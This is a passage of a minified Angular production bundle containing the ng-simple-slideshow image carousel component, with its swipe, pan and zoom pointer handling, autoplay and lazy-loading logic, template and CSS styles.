new(B||m)},m.\\u0275mod=s.oAB({type:m}),m.\\u0275inj=s.cJS({imports:[C.ez,Q.u5,P,w.Ps,R.c,u.si,Q.UX]}),m})()},5192:(At,ae,d)=>{"use strict";d.d(ae,{uK:()=>Q,w5:()=>G});var n=d(4650),a=d(6895),s=d(1481);const u=["container"],c=["prevArrow"],f=["nextArrow"];function E(oe,Ce){1&oe&&n._UZ(0,"div",15)}const _=function(oe,Ce){return{color:oe,"background-color":Ce}};function S(oe,Ce){if(1&oe&&n._UZ(0,"div",16),2&oe){const k=n.oxw().$implicit,K=n.oxw();n.Q6J("ngStyle",n.WLB(2,_,K.captionColor,K.captionBackground))("innerHTML",null==k||null==k.image?null:k.image.caption,n.oJD)}}function g(oe,Ce){if(1&oe){const k=n.EpF();n.TgZ(0,"a",12),n.NdJ("click",function(se){n.CHM(k);const ee=n.oxw();return n.KtG(ee.handleClick(se))}),n.YNc(1,E,1,0,"div",13),n.YNc(2,S,1,5,"div",14),n.qZA()}if(2&oe){const k=Ce.$implicit,K=Ce.index,se=n.oxw();n.ekj("selected",null==k?null:k.selected)("hide-slide",!(null!=k&&k.selected||null!=k&&k.leftSide||null!=k&&k.rightSide))("left-side",null==k?null:k.leftSide)("right-side",null==k?null:k.rightSide)("slide-in-left","slideInLeft"===(null==k?null:k.action))("slide-in-right","slideInRight"===(null==k?null:k.action))("slide-out-left","slideOutLeft"===(null==k?null:k.action))("slide-out-right","slideOutRight"===(null==k?null:k.action))("link",(null==k||null==k.image?null:k.image.clickAction)||(null==k||null==k.image?null:k.image.href)),n.s9C("title",null==k||null==k.image?null:k.image.title),n.Q6J("ngStyle",se.getSlideStyle(K)),n.xp6(1),n.Q6J("ngIf",!(null!=k&&k.loaded)),n.xp6(1),n.Q6J("ngIf",se.showCaptions&&(null==k||null==k.image?null:k.image.caption))}}function C(oe,Ce){if(1&oe){const k=n.EpF();n.TgZ(0,"li",19),n.NdJ("click",function(){const ee=n.CHM(k).index,q=n.oxw(2);return n.KtG(q.goToSlide(ee))}),n.TgZ(1,"button",20),n._uU(2),n.qZA()()}if(2&oe){const k=Ce.$implicit,K=Ce.index,se=n.oxw(2);n.ekj("slick-active",k.selected),n.xp6(1),n.uIk("style",se.safeStyleDotColor,n.Ckj),n.xp6(1),n.hij(" ",K," ")}}function z(oe,Ce){if(1&oe&&(n.TgZ(0,"ul",17),n.YNc(1,C,3,4,"li",18),n.qZA()),2&oe){const k=n.oxw();n.xp6(1),n.Q6J("ngForOf",k.slides)("ngForTrackBy",k.trackByFn)}}class H{constructor(){this.aw=0,this.ah=0,this.w=0,this.h=0}get ar(){return this.w/this.h}get diag(){return Math.sqrt(this.w*this.w+this.h*this.h)}get valid(){return this.w>0&&this.h>0&&this.aw>0&&this.ah>0}get widthBound(){return this.ar>this.aw/this.ah}}let j=(()=>{class oe{constructor(k){this.platform_id=k,this._disableSwiping=!1,this._enableZoom=!1,this._enablePan=!1,this._startEVCache=null,this._evCache=new Array,this._previousDiagonal=-1,this._originalState=new H,this._slideEvent=new n.vpe(!0),this._clickEvent=new n.vpe(!0),this.pointerUp=K=>{this._pointerUp(K)},this.pointerDown=K=>{this._pointerDown(K)},this.pointerMove=K=>{this._pointerMove(K)}}set disableSwiping(k){this._disableSwiping=k}set enableZoom(k){this._enableZoom=k}set enablePan(k){this._enablePan=k}bind(k){(0,a.NF)(this.platform_id)&&(k.nativeElement.addEventListener("pointerdown",this.pointerDown),k.nativeElement.addEventListener("pointerup",this.pointerUp),k.nativeElement.addEventListener("pointercancel",this.pointerUp),k.nativeElement.addEventListener("pointerout",this.pointerUp),k.nativeElement.addEventListener("pointerleave",this.pointerUp),k.nativeElement.addEventListener("pointermove",this.pointerMove))}unbind(k){(0,a.NF)(this.platform_id)&&(k.nativeElement.removeEventListener("pointerdown",this.pointerDown),k.nativeElement.removeEventListener("pointerup",this.pointerUp),k.nativeElement.removeEventListener("pointercancel",this.pointerUp),k.nativeElement.removeEventListener("pointerout",this.pointerUp),k.nativeElement.removeEventListener("pointerleave",this.pointerUp),k.nativeElement.removeEventListener("pointermove",this.pointerMove))}get slideEvent(){return this._slideEvent}get clickEvent(){return this._clickEvent}_pointerDown(k){this._evCache.push(k),1===this._evCache.length&&(this._startEVCache=k,(this._enablePan||this._enableZoom)&&(this._loadOriginalState(k),this._convertBGSizeToPixels(k),this._convertBGPosToPixels(k)))}_loadOriginalState(k){if(!this._originalState.valid&&k.target&&k.target.style&&k.target.style.backgroundImage){const K=k.target.style.backgroundImage.match(/^url\\(["\']?(.+?)["\']?\\)$/),se=new Image;se.src=K[1],this._originalState.aw=k.target.offsetWidth,this._originalState.ah=k.target.offsetHeight,this._originalState.w=se.width,this._originalState.h=se.height}}_convertBGSizeToPixels(k){const K=k.target;let se=K.style.backgroundSize;if(se.indexOf(" ")>-1){const ee=se.split(" ");se=this._originalState.widthBound?ee[0]:ee[1]}if("cover"===se)se=this._originalState.widthBound?this._originalState.ah*this._originalState.ar:this._originalState.aw;else if(se.indexOf("px")>-1)se=se.substring(0,se.length-2);else if(se.indexOf("%")>-1){const ee=Number(se.substring(0,se.length-1))/100;se=this._originalState.widthBound?this._originalState.aw*ee:this._originalState.ah*ee*this._originalState.ar}else se="auto"===se?this._originalState.w:this._originalState.widthBound?this._originalState.aw:this._originalState.ah*this._originalState.ar;K.style.backgroundSize=se+"px auto"}_convertBGPosToPixels(k){if(this._originalState.valid){const K=k.target,se=this._currentBGSize(k);let ee=K.style.backgroundPositionX;-1===ee.indexOf("px")&&(ee=this._convertLiteralPosToPercentage(ee),ee.indexOf("%")>-1&&(ee=Number(ee.substring(0,ee.length-1))/100*(this._originalState.aw-se)),K.style.backgroundPositionX=ee+"px");let q=K.style.backgroundPositionY;-1===q.indexOf("px")&&(q=this._convertLiteralPosToPercentage(q),q.indexOf("%")>-1&&(q=Number(q.substring(0,q.length-1))/100*(this._originalState.ah-se/this._originalState.ar)),K.style.backgroundPositionY=q+"px")}}_pointerUp(k){for(let K=0;K<this._evCache.length;K++)if(this._evCache[K].pointerId===k.pointerId){this._evCache.splice(K,1);break}2!==this._evCache.length&&(this._previousDiagonal=-1),0===this._evCache.length&&null!==this._startEVCache&&(this._checkClickOrSwipe(k),this._startEVCache=null,this._originalState=new H)}_checkClickOrSwipe(k){if(!this._targetIsASlide(k))return;const K=k.timeStamp-this._startEVCache.timeStamp,se=k.pageX-this._startEVCache.pageX,ee=k.pageY-this._startEVCache.pageY;!this._enablePan&&Math.abs(se)<15&&Math.abs(ee)<15?this._clickEvent.emit():K<1e3&&Math.abs(ee)<=100&&Math.abs(se)>=30&&!this._disableSwiping&&this._cannotPanMoreTest(k,se)&&this._slideEvent.emit(se<0?1:-1)}_targetIsASlide(k){return k.target.classList.contains("slides")}_cannotPanMoreTest(k,K){if(!this._enablePan)return!0;const se=this._currentBGPosX(k),ee=this._currentBGSize(k);return!(K<0&&ee>this._originalState.aw&&Math.round(this._originalState.aw-ee-se)<0||K>0&&ee>this._originalState.aw&&se<0)}_pointerMove(k){k.preventDefault(),1===this._evCache.length&&this._enablePan&&this._1pointMoveAction(k);for(let K=0;K<this._evCache.length;K++)if(k.pointerId===this._evCache[K].pointerId){this._evCache[K]=k;break}2===this._evCache.length&&this._enableZoom&&this._2pointMoveAction(k)}_1pointMoveAction(k){if(this._evCache[0].pointerId===k.pointerId){const K=this._evCache[0].pageX-k.pageX,se=this._evCache[0].pageY-k.pageY;this._originalState.valid&&(0!==K||0!==se)&&this._transformBGPosition(k,K,se)}}_2pointMoveAction(k){const K=Math.abs(this._evCache[0].pageX-this._evCache[1].pageX),se=Math.abs(this._evCache[0].pageY-this._evCache[1].pageY);let ee=Math.sqrt(K*K+se*se);this._previousDiagonal>0&&this._originalState.valid&&this._transformBGSize(k,ee-this._previousDiagonal),this._previousDiagonal=ee}_transformBGPosition(k,K,se){const ee=k.target,q=this._currentBGPosX(k),we=this._currentBGPosY(k),ce=this._newBGPosXConstraint(q-K,k),je=this._newBGPosYConstraint(we-se,k);(ce!==q||je!==we)&&this._setBGPos(ee,ce,je)}_setBGPos(k,K,se){k.style.backgroundPositionX=K+"px",k.style.backgroundPositionY=se+"px"}_currentBGPosX(k){let K=k.target.style.backgroundPositionX;return K.indexOf("px")>-1&&(K=K.substring(0,K.length-2)),Number(K)}_currentBGPosY(k){let K=k.target.style.backgroundPositionY;return K.indexOf("px")>-1&&(K=K.substring(0,K.length-2)),Number(K)}_convertLiteralPosToPercentage(k){return"center"===k?"50%":"top"===k||"left"===k?"0%":"bottom"===k||"right"===k?"100%":void 0}_transformBGSize(k,K){const se=k.target,ee=this._currentBGSize(k),q=this._newBGSizeConstraint(ee+K);q!==ee&&this._setBGSize(se,q)}_setBGSize(k,K){k.style.backgroundSize=K+"px auto",k.style.touchAction="none"}_currentBGSize(k){const K=k.target.style.backgroundSize;if(K.indexOf(" ")>-1){const se=K.split(" "),ee=this._originalState.widthBound?se[0].substring(0,se[0].length-2):se[1].substring(0,se[1].length-2);return Number(ee)}if(K.indexOf("px")>-1){const se=K.substring(0,K.length-2);return Number(se)}}_newBGSizeConstraint(k){return this._originalState.widthBound?k<this._originalState.aw?this._originalState.aw:k:k/this._originalState.ar<this._originalState.ah?this._originalState.ah*this._originalState.ar:k}_newBGPosXConstraint(k,K){const se=this._currentBGSize(K);if(se>=this._originalState.aw){if(k>0)return 0;if(k<this._originalState.aw-se)return this._originalState.aw-se}else{if(k<0)return 0;if(k>this._originalState.aw-se)return this._originalState.aw-se}return k}_newBGPosYConstraint(k,K){const se=this._currentBGSize(K);if(se/this._originalState.ar>=this._originalState.ah){if(k>0)return 0;if(k<this._originalState.ah-se/this._originalState.ar)return this._originalState.ah-se/this._originalState.ar}else{if(k<0)return 0;if(k>this._originalState.ah-se/this._originalState.ar)return this._originalState.ah-se/this._originalState.ar}return k}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(n.Lbi))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})();const U=(0,s.Cb)("firstSlide");let G=(()=>{class oe{constructor(k,K,se,ee,q,we,ce,je){this._pointerService=k,this._renderer=K,this._transferState=se,this._ngZone=ee,this._cdRef=q,this.sanitizer=we,this.platform_id=ce,this.document=je,this.slideIndex=-1,this.slides=[],this.hideLeftArrow=!1,this.hideRightArrow=!1,this._initial=!0,this._isHidden=!1,this.imageUrls=[],this.height="100%",this.showArrows=!0,this.disableSwiping=!1,this.autoPlay=!1,this.autoPlayInterval=3333,this.stopAutoPlayOnSlide=!0,this.autoPlayWaitForLazyLoad=!0,this.backgroundSize="cover",this.backgroundPosition="center center",this.backgroundRepeat="no-repeat",this.showDots=!1,this.dotColor="#FFF",this.showCaptions=!0,this.captionColor="#FFF",this.captionBackground="rgba(0, 0, 0, .35)",this.lazyLoad=!1,this.hideOnNoSlides=!1,this.fullscreen=!1,this.enableZoom=!1,this.enablePan=!1,this.noLoop=!1,this.onSlideLeft=new n.vpe,this.onSlideRight=new n.vpe,this.onSwipeLeft=new n.vpe,this.onSwipeRight=new n.vpe,this.onFullscreenExit=new n.vpe,this.onIndexChanged=new n.vpe,this.onImageLazyLoad=new n.vpe,this.onClick=new n.vpe}get safeStyleDotColor(){return this.sanitizer.bypassSecurityTrustStyle(`--dot-color: ${this.dotColor}`)}ngOnInit(){void 0!==this.debug&&console.warn("[Deprecation Warning]: The debug input will be removed from ng-simple-slideshow in 1.3.0"),this._slideSub=this._pointerService.slideEvent.subscribe(k=>{this.onSlide(k,!0)}),this._clickSub=this._pointerService.clickEvent.subscribe(()=>{this._onClick()}),this.noLoop&&(this.hideLeftArrow=!0)}ngAfterViewInit(){this._pointerService.bind(this.container)}ngOnDestroy(){try{this._slideSub&&!this._slideSub.closed&&this._slideSub.unsubscribe()}catch(k){console.warn("Slide Subscription error caught in ng-simple-slideshow OnDestroy:",k)}try{this._clickSub&&!this._clickSub.closed&&this._clickSub.unsubscribe()}catch(k){console.warn("Click Subscription error caught in ng-simple-slideshow OnDestroy:",k)}try{this._pointerService.unbind(this.container)}catch(k){console.warn("Pointer Service unbind error caught in ng-simple-slideshow OnDestroy:",k)}try{this._autoplayIntervalId&&(this._ngZone.runOutsideAngular(()=>clearInterval(this._autoplayIntervalId)),this._autoplayIntervalId=null)}catch(k){console.warn("Autoplay cancel error caught in ng-simple-slideshow OnDestroy:",k)}}ngOnChanges(k){k.noLoop&&(k.noLoop.currentValue?(this.hideLeftArrow=this.slideIndex<=0,this.hideRightArrow=this.slideIndex===this.slides.length-1):(this.hideLeftArrow=!1,this.hideRightArrow=!1),this._cdRef.detectChanges())}ngDoCheck(){this.imageUrls&&this.imageUrls.length>0?(!0===this._initial&&(this._urlCache=Array.from(this.imageUrls)),!0===this._isHidden&&(this._renderer.removeStyle(this.container.nativeElement,"display"),this._isHidden=!1),this.setSlides()):!0===this.hideOnNoSlides&&(this._renderer.setStyle(this.container.nativeElement,"display","none"),this._isHidden=!0),this.setStyles(),this.handleAutoPlay(),this._pointerService.disableSwiping=this.disableSwiping,this._pointerService.enableZoom=this.enableZoom,this._pointerService.enablePan=this.enablePan}onSlide(k,K){this.handleAutoPlay(this.stopAutoPlayOnSlide),this.slide(k,K)}_onClick(){const k=this.slides.length>0&&this.slides[this.slideIndex];this.onClick.emit({slide:k,index:this.slideIndex}),k&&k.image.clickAction?k.image.clickAction():k&&k.image.href&&(this.document.location.href=k.image.href)}goToSlide(k){const K=this.slideIndex;this.slideIndex=k-1,this.setSlideIndex(1),this.slides[this.slideIndex]&&!this.slides[this.slideIndex].loaded&&this.loadRemainingSlides(),this.handleAutoPlay(this.stopAutoPlayOnSlide),this.slideRight(K),this.slides[K].selected=!1,this.slides[this.slideIndex].selected=!0,this._cdRef.detectChanges()}getSlideStyle(k){const K=this.slides[k];return K&&K.loaded?{"background-image":"url("+K.image.url+")","background-size":K.image.backgroundSize||this.backgroundSize,"background-position":K.image.backgroundPosition||this.backgroundPosition,"background-repeat":K.image.backgroundRepeat||this.backgroundRepeat}:{"background-image":void 0,"background-size":void 0,"background-position":void 0,"background-repeat":void 0}}exitFullScreen(k){k.preventDefault(),this.fullscreen=!1,this.onFullscreenExit.emit(!0)}slide(k,K){const se=this.slideIndex;this.setSlideIndex(k)&&(this.slides[this.slideIndex]&&!this.slides[this.slideIndex].loaded&&this.loadRemainingSlides(),1===k?this.slideRight(se,K):this.slideLeft(se,K),this.slides[se].selected=!1,this.slides[this.slideIndex].selected=!0),this._cdRef.detectChanges()}setSlideIndex(k){let K=!0;return this.slideIndex+=k,this.noLoop&&(this.hideRightArrow=this.slideIndex===this.slides.length-1,this.hideLeftArrow=!1),this.slideIndex<0?this.noLoop?(this.slideIndex-=k,K=!1,this.hideLeftArrow=!0):this.slideIndex=this.slides.length-1:this.slideIndex>=this.slides.length&&(this.noLoop?(this.slideIndex-=k,K=!1,this.hideRightArrow=!0):this.slideIndex=0),K&&this.onIndexChanged.emit(this.slideIndex),K}slideLeft(k,K){!0===K?this.onSwipeLeft.emit(this.slideIndex):this.onSlideLeft.emit(this.slideIndex),this.slides[this.getLeftSideIndex(k)].leftSide=!1,this.slides[k].leftSide=!0,this.slides[k].action="slideOutLeft",this.slides[this.slideIndex].rightSide=!1,this.slides[this.getRightSideIndex()].rightSide=!0,this.slides[this.slideIndex].action="slideInRight"}slideRight(k,K){!0===K?this.onSwipeRight.emit(this.slideIndex):this.onSlideRight.emit(this.slideIndex),this.slides[this.getRightSideIndex(k)].rightSide=!1,this.slides[k].rightSide=!0,this.slides[k].action="slideOutRight",this.slides[this.slideIndex].leftSide=!1,this.slides[this.getLeftSideIndex()].leftSide=!0,this.slides[this.slideIndex].action="slideInLeft"}setSlides(){this.imageUrls&&(this.checkCache()||!0===this._initial)&&(this._initial=!1,this._urlCache=Array.from(this.imageUrls),this.slides=[],!0===this.lazyLoad?this.buildLazyLoadSlideArray():this.buildSlideArray(),this._cdRef.detectChanges())}buildLazyLoadSlideArray(){for(let k of this.imageUrls)this.slides.push({image:"string"==typeof k?{url:null}:{url:null,href:k.href||""},action:"",leftSide:!1,rightSide:!1,selected:!1,loaded:!1});-1===this.slideIndex&&(this.slideIndex=0),this.slides[this.slideIndex].selected=!0,this.loadFirstSlide(),this.onIndexChanged.emit(this.slideIndex)}buildSlideArray(){for(let k of this.imageUrls)this.slides.push({image:"string"==typeof k?{url:k}:k,action:"",leftSide:!1,rightSide:!1,selected:!1,loaded:!0});-1===this.slideIndex&&(this.slideIndex=0),this.slides[this.slideIndex].selected=!0,this.onIndexChanged.emit(this.slideIndex)}loadFirstSlide(){const k=this.slideIndex,K=this.imageUrls[k];if((0,a.PM)(this.platform_id))this.slides[k].image="string"==typeof K?{url:K}:K,this.slides[k].loaded=!0,this._transferState.set(U,this.slides[k]);else{const se=this._transferState.get(U,null);if(null===se){let ee=new Image;ee.src="string"==typeof K?K:K.url,ee.addEventListener("load",()=>{this.slides[k].image="string"==typeof K?{url:K}:K,this.slides[k].loaded=!0,this.onImageLazyLoad.emit(this.slides[k]),this._cdRef.detectChanges()})}else this.slides[k]=se,this._transferState.remove(U)}}loadRemainingSlides(){for(let k=0;k<this.slides.length;k++)this.slides[k].loaded||new Promise(K=>{const se=this.imageUrls[k];let ee=new Image;ee.addEventListener("load",()=>{this.slides[k].image="string"==typeof se?{url:se}:se,this.slides[k].loaded=!0,this._cdRef.detectChanges(),this.onImageLazyLoad.emit(this.slides[k]),K()}),ee.src="string"==typeof se?se:se.url})}handleAutoPlay(k){(0,a.PM)(this.platform_id)||(!0===k||!1===this.autoPlay?this._autoplayIntervalId&&(this._ngZone.runOutsideAngular(()=>clearInterval(this._autoplayIntervalId)),this._autoplayIntervalId=null):this._autoplayIntervalId||this._ngZone.runOutsideAngular(()=>{this._autoplayIntervalId=setInterval(()=>{(!this.autoPlayWaitForLazyLoad||this.autoPlayWaitForLazyLoad&&this.slides[this.slideIndex]&&this.slides[this.slideIndex].loaded)&&this._ngZone.run(()=>this.slide(1))},this.autoPlayInterval)}))}setStyles(){this.fullscreen?(this._renderer.setStyle(this.container.nativeElement,"height","100%"),this._renderer.setStyle(this.container.nativeElement,"background-color","white")):(this._renderer.removeStyle(this.container.nativeElement,"background-color"),this.height&&this._renderer.setStyle(this.container.nativeElement,"height",this.height),this.minHeight&&this._renderer.setStyle(this.container.nativeElement,"min-height",this.minHeight)),this.arrowSize&&(this._renderer.setStyle(this.prevArrow.nativeElement,"height",this.arrowSize),this._renderer.setStyle(this.prevArrow.nativeElement,"width",this.arrowSize),this._renderer.setStyle(this.nextArrow.nativeElement,"height",this.arrowSize),this._renderer.setStyle(this.nextArrow.nativeElement,"width",this.arrowSize))}checkCache(){return!(this._urlCache.length===this.imageUrls.length&&this._urlCache.every((k,K)=>k===this.imageUrls[K]))}getLeftSideIndex(k){return void 0===k&&(k=this.slideIndex),--k<0&&(k=this.slides.length-1),k}getRightSideIndex(k){return void 0===k&&(k=this.slideIndex),++k>=this.slides.length&&(k=0),k}trackByFn(k,K){return K.image}handleClick(k){k.preventDefault()}}return oe.\\u0275fac=function(k){return new(k||oe)(n.Y36(j),n.Y36(n.Qsj),n.Y36(s.ki),n.Y36(n.R0b),n.Y36(n.sBO),n.Y36(s.H7),n.Y36(n.Lbi),n.Y36(a.K0))},oe.\\u0275cmp=n.Xpm({type:oe,selectors:[["slideshow"]],viewQuery:function(k,K){if(1&k&&(n.Gf(u,5),n.Gf(c,5),n.Gf(f,5)),2&k){let se;n.iGM(se=n.CRH())&&(K.container=se.first),n.iGM(se=n.CRH())&&(K.prevArrow=se.first),n.iGM(se=n.CRH())&&(K.nextArrow=se.first)}},inputs:{imageUrls:"imageUrls",height:"height",showArrows:"showArrows",disableSwiping:"disableSwiping",autoPlay:"autoPlay",autoPlayInterval:"autoPlayInterval",stopAutoPlayOnSlide:"stopAutoPlayOnSlide",autoPlayWaitForLazyLoad:"autoPlayWaitForLazyLoad",backgroundSize:"backgroundSize",backgroundPosition:"backgroundPosition",backgroundRepeat:"backgroundRepeat",showDots:"showDots",dotColor:"dotColor",showCaptions:"showCaptions",captionColor:"captionColor",captionBackground:"captionBackground",lazyLoad:"lazyLoad",hideOnNoSlides:"hideOnNoSlides",fullscreen:"fullscreen",enableZoom:"enableZoom",enablePan:"enablePan",noLoop:"noLoop",minHeight:"minHeight",arrowSize:"arrowSize",debug:"debug"},outputs:{onSlideLeft:"onSlideLeft",onSlideRight:"onSlideRight",onSwipeLeft:"onSwipeLeft",onSwipeRight:"onSwipeRight",onFullscreenExit:"onFullscreenExit",onIndexChanged:"onIndexChanged",onImageLazyLoad:"onImageLazyLoad",onClick:"onClick"},features:[n._Bn([j]),n.TTD],decls:12,vars:11,consts:[[1,"fs-container",3,"click"],["title","Back",1,"arrow-exitfs","prev"],[1,"slideshow-container"],["container",""],["class","slides","href","#!","tabindex","-1",3,"title","ngStyle","selected","hide-slide","left-side","right-side","slide-in-left","slide-in-right","slide-out-left","slide-out-right","link","click",4,"ngFor","ngForOf","ngForTrackBy"],[1,"arrow-container","prev",3,"click"],["title","Previous",1,"arrow","prev"],["prevArrow",""],[1,"arrow-container","next",3,"click"],["title","Next",1,"arrow","next"],["nextArrow",""],["class","slick-dots",4,"ngIf"],["href","#!","tabindex","-1",1,"slides",3,"title","ngStyle","click"],["class","loader",4,"ngIf"],["class","caption",3,"ngStyle","innerHTML",4,"ngIf"],[1,"loader"],[1,"caption",3,"ngStyle","innerHTML"],[1,"slick-dots"],[3,"slick-active","click",4,"ngFor","ngForOf","ngForTrackBy"],[3,"click"],["type","button"]],template:function(k,K){1&k&&(n.TgZ(0,"div",0),n.NdJ("click",function(ee){return K.exitFullScreen(ee)}),n._UZ(1,"i",1),n.qZA(),n.TgZ(2,"div",2,3),n.YNc(4,g,3,22,"a",4),n.TgZ(5,"div",5),n.NdJ("click",function(){return K.onSlide(-1)}),n._UZ(6,"i",6,7),n.qZA(),n.TgZ(8,"div",8),n.NdJ("click",function(){return K.onSlide(1)}),n._UZ(9,"i",9,10),n.qZA(),n.YNc(11,z,2,2,"ul",11),n.qZA()),2&k&&(n.ekj("display-none",!K.fullscreen),n.xp6(2),n.ekj("slideshow-container-fs",K.fullscreen),n.xp6(2),n.Q6J("ngForOf",K.slides)("ngForTrackBy",K.trackByFn),n.xp6(1),n.ekj("display-none",!K.showArrows||K.hideLeftArrow),n.xp6(3),n.ekj("display-none",!K.showArrows||K.hideRightArrow),n.xp6(3),n.Q6J("ngIf",K.showDots))},dependencies:[a.sg,a.O5,a.PC],styles:[".display-none[_ngcontent-%COMP%] {\\n display: none !important; }\\n\\n .fs-container[_ngcontent-%COMP%] {\\n display: block;\\n cursor: pointer;\\n position: fixed;\\n z-index: 1;\\n top: 16px;\\n left: 16px;\\n width: 46px;\\n height: 46px;\\n text-align: center;\\n padding: 0;\\n background-color: rgba(0, 0, 0, 0.2);\\n -webkit-transition: all .2s ease-in-out;\\n transition: all .2s ease-in-out; }\\n .fs-container[_ngcontent-%COMP%]:hover {\\n background-color: rgba(0, 0, 0, 0.33); }\\n .fs-container[_ngcontent-%COMP%] .arrow-exitfs[_ngcontent-%COMP%] {\\n display: block;\\n width: 30px;\\n height: 30px;\\n background: transparent;\\n border-top: 2px solid #f2f2f2;\\n -webkit-transition: all .2s ease-in-out;\\n transition: all .2s ease-in-out; }\\n .fs-container[_ngcontent-%COMP%] .arrow-exitfs.prev[_ngcontent-%COMP%] {\\n -webkit-transform: rotate(-45deg);\\n transform: rotate(-45deg);\\n position: relative;\\n left: 18px;\\n top: 18px; }\\n .fs-container[_ngcontent-%COMP%] .arrow-exitfs[_ngcontent-%COMP%]:after {\\n content: \'\';\\n width: 30px;\\n height: 30px;\\n background: transparent;\\n border-top: 2px solid #f2f2f2;\\n -webkit-transform: rotate(90deg);\\n transform: rotate(90deg);\\n position: absolute;\\n left: -15px;\\n top: -17px; }\\n\\n .slideshow-container.slideshow-container-fs[_ngcontent-%COMP%] {\\n position: fixed;\\n left: 0;\\n top: 0;\\n width: 100%;\\n height: 100%; }\\n\\n .slideshow-container[_ngcontent-%COMP%] {\\n position: relative;\\n display: block;\\n margin: auto;\\n height: 100%;\\n width: 100%;\\n overflow: hidden; }\\n .slideshow-container[_ngcontent-%COMP%] .hide-slide[_ngcontent-%COMP%] {\\n visibility: hidden;\\n position: absolute;\\n top: -100vw;\\n left: -100vw;\\n opacity: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .slides[_ngcontent-%COMP%] {\\n -ms-touch-action: pan-y;\\n touch-action: pan-y;\\n position: absolute;\\n top: 0;\\n height: 100%;\\n width: 100%;\\n visibility: visible;\\n opacity: 1;\\n display: block; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.selected[_ngcontent-%COMP%] {\\n left: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.left-slide[_ngcontent-%COMP%] {\\n left: -100%; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.right-slide[_ngcontent-%COMP%] {\\n left: 100%; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-in-left[_ngcontent-%COMP%] {\\n left: 0;\\n -webkit-animation: _ngcontent-%COMP%_slideInLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideInLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-in-right[_ngcontent-%COMP%] {\\n left: 0;\\n -webkit-animation: _ngcontent-%COMP%_slideInRight 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideInRight 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-out-left[_ngcontent-%COMP%] {\\n left: -100%;\\n -webkit-animation: _ngcontent-%COMP%_slideOutLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideOutLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-out-right[_ngcontent-%COMP%] {\\n left: 100%;\\n -webkit-animation: _ngcontent-%COMP%_slideOutRight 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideOutRight 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.link[_ngcontent-%COMP%] {\\n cursor: pointer; }\\n .slideshow-container[_ngcontent-%COMP%] .slides[_ngcontent-%COMP%]:not(.link) {\\n cursor: default; }\\n .slideshow-container[_ngcontent-%COMP%] .caption[_ngcontent-%COMP%] {\\n position: absolute;\\n bottom: 0;\\n padding: 10px;\\n width: 100%; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] {\\n display: -webkit-box;\\n display: -ms-flexbox;\\n display: flex;\\n -webkit-box-align: center;\\n -ms-flex-align: center;\\n align-items: center;\\n -webkit-box-pack: center;\\n -ms-flex-pack: center;\\n justify-content: center;\\n position: absolute;\\n top: 0;\\n height: 100%;\\n width: auto;\\n cursor: pointer;\\n background-size: 100%;\\n background-image: -webkit-gradient(linear, left top, left bottom, from(transparent), to(transparent));\\n background-image: linear-gradient(transparent, transparent);\\n z-index: 100;\\n -webkit-user-select: none;\\n -moz-user-select: none;\\n -ms-user-select: none;\\n user-select: none; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%]:before {\\n display: block;\\n height: 100%;\\n position: absolute;\\n top: 0;\\n left: 0;\\n opacity: 0;\\n width: 100%;\\n z-index: -100;\\n -webkit-transition: opacity 0.45s;\\n transition: opacity 0.45s; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.prev[_ngcontent-%COMP%] {\\n left: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.prev[_ngcontent-%COMP%]:before {\\n background-image: -webkit-gradient(linear, right top, left top, from(transparent), to(rgba(0, 0, 0, 0.75)));\\n background-image: linear-gradient(to left, transparent, rgba(0, 0, 0, 0.75));\\n content: \'\'; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.next[_ngcontent-%COMP%] {\\n right: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.next[_ngcontent-%COMP%]:before {\\n background-image: -webkit-gradient(linear, left top, right top, from(transparent), to(rgba(0, 0, 0, 0.75)));\\n background-image: linear-gradient(to right, transparent, rgba(0, 0, 0, 0.75));\\n content: \'\'; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow[_ngcontent-%COMP%] {\\n display: block;\\n margin: auto;\\n width: 30px;\\n height: 30px;\\n background: transparent;\\n border-top: 2px solid #f2f2f2;\\n border-left: 2px solid #f2f2f2;\\n -webkit-transition: all .2s ease-in-out;\\n transition: all .2s ease-in-out;\\n -webkit-user-select: none;\\n -moz-user-select: none;\\n -ms-user-select: none;\\n user-select: none; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow[_ngcontent-%COMP%]:before {\\n display: block;\\n height: 200%;\\n width: 200%;\\n margin-left: -50%;\\n margin-top: -50%;\\n content: \\"\\";\\n -webkit-transform: rotate(45deg);\\n transform: rotate(45deg); }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow.prev[_ngcontent-%COMP%] {\\n -webkit-transform: rotate(-45deg);\\n transform: rotate(-45deg);\\n position: relative;\\n left: 20px;\\n margin-right: 10px; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow.next[_ngcontent-%COMP%] {\\n -webkit-transform: rotate(135deg);\\n transform: 